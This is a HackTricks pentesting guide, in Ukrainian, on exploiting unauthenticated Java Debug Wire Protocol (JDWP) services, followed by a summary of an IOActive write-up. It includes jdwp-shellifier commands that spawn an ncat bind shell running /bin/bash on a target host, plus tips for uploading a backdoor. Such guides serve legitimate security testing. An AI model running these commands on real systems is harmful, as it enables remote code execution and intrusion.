hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-03-29 19:49:46 +01:00

9 KiB
Raw Blame History

Тестування на проникнення JDWP - Протокол відлагодження Java

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Експлуатація

Експлуатація JDWP ґрунтується на відсутності аутентифікації та шифрування в протоколі. Зазвичай він знаходиться на порту 8000, але можливі інші порти. Початкове підключення відбувається шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим самим рядком, підтверджуючи свою присутність. Цей рукостиск діє як метод відбору для ідентифікації служб JDWP в мережі.

Щодо ідентифікації процесу, пошук рядка "jdwk" в процесах Java може вказувати на активну сесію JDWP.

Основним інструментом є jdwp-shellifier. Ви можете використовувати його з різними параметрами:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Я виявив, що використання --break-on 'java.lang.String.indexOf' робить експлойт більш стабільним. І якщо у вас є можливість завантажити backdoor на хост і виконати його замість виконання команди, експлойт буде ще стабільнішим.

Детальніше

Це краткий огляд https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Перевірте його для отримання додаткових відомостей.

  1. Огляд JDWP:
  • Це мережевий бінарний протокол на основі пакетів, в основному синхронний.
  • Відсутність аутентифікації та шифрування робить його вразливим при взаємодії з ворожими мережами.
  1. Рукостискання JDWP:
  • Для ініціювання комунікації використовується простий процес рукостискання. Між відлагоджувачем (клієнтом) та відлагоджуваним (сервером) обмінюється 14-символьний ASCII-рядок "JDWP-Handshake".
  1. Комунікація JDWP:
  • Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та НабірКоманд.
  • Значення НаборуКоманд коливаються від 0x40 до 0x80, що представляють різні дії та події.
  1. Експлуатація:
  • JDWP дозволяє завантажувати та викликати довільні класи та байткод, що створює ризики безпеки.
  • Стаття деталізує процес експлуатації у п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
  1. Експлуатація в реальному житті:
  • Незважаючи на потенційні захисні заходи брандмауеру, служби JDWP виявляються та експлуатуються в реальних сценаріях, як показано пошуками на платформах, таких як ShodanHQ та GitHub.
  • Скрипт експлойту був протестований на різних версіях JDK та є платформонезалежним, пропонуючи надійне виконання коду на віддаленому сервері (RCE).
  1. Наслідки для безпеки:
  • Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, вимкнення функцій відлагодження в продакшені та належної конфігурації брандмауера.

Посилання:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: